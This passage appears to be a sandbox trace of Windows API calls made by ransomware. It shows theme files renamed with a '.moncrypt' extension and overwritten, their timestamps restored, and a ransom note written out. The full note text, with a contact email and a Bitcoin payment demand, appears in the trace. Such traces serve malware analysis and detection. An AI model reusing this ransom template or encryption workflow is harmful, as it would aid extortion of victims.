(hMem=0x44000c) returned 0 [0050.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.370] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.370] GlobalUnlock (hMem=0x44000c) returned 0 [0050.370] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.370] GlobalUnlock (hMem=0x440004) returned 0 [0050.370] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.371] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.371] CloseHandle (hObject=0x18c) returned 1 [0050.372] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\я")) returned 1 [0050.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 0x54e240 [0050.373] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.373] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.373] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", dwFileAttributes=0x20) returned 1 [0050.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.moncrypt")) returned 1 [0050.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.375] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.375] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xe58e [0050.375] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.375] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.377] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.377] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.377] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.377] GlobalUnlock (hMem=0x44000c) returned 0 [0050.377] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.377] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.377] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.377] GlobalUnlock (hMem=0x44000c) returned 0 [0050.377] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.377] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.377] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.377] GlobalUnlock (hMem=0x440004) returned 0 [0050.377] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.377] GlobalUnlock (hMem=0x44000c) returned 0 [0050.378] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.378] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.378] GlobalUnlock (hMem=0x44000c) returned 0 [0050.378] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.378] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.378] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.378] GlobalUnlock (hMem=0x44000c) returned 0 [0050.378] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.378] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.378] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.378] SetFilePointer (in: hFile=0x18c, lDistanceToMove=58766, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xe58e [0050.378] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.378] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.378] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.389] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.389] CloseHandle (hObject=0x18c) returned 1 [0050.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.391] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.391] CloseHandle (hObject=0x18c) returned 1 [0050.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.391] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.391] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.391] GlobalUnlock (hMem=0x44000c) returned 0 [0050.391] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.392] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.392] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.392] GlobalUnlock (hMem=0x44000c) returned 0 [0050.392] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.392] GlobalUnlock (hMem=0x440004) returned 0 [0050.392] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69e38, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.392] GetLastError () returned 0x2 [0050.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.394] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.395] CloseHandle (hObject=0x18c) returned 1 [0050.395] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0050.395] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.395] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.395] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.395] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.395] GlobalUnlock (hMem=0x440004) returned 0 [0050.395] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.395] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.395] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.395] GlobalUnlock (hMem=0x440004) returned 0 [0050.395] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.395] GlobalUnlock (hMem=0x44000c) returned 0 [0050.395] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.396] CharLowerBuffW (in: lpsz="AFTRNOON.INF", cchLength=0xc | out: lpsz="aftrnoon.inf") returned 0xc [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpUsedDefaultChar=0x0) returned 77 [0050.396] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", lpUsedDefaultChar=0x0) returned 4 [0050.397] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.397] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.397] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.397] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.397] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.397] GlobalUnlock (hMem=0x44000c) returned 0 [0050.397] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.397] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.397] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.397] GlobalUnlock (hMem=0x44000c) returned 0 [0050.397] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.397] GlobalUnlock (hMem=0x440004) returned 0 [0050.397] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.397] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0050.398] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\AFTRNOON\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0050.398] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.398] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.398] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.398] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.398] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.398] GlobalUnlock (hMem=0x440004) returned 0 [0050.398] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.398] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.398] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.398] GlobalUnlock (hMem=0x440004) returned 0 [0050.398] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.398] GlobalUnlock (hMem=0x44000c) returned 0 [0050.398] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.399] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", 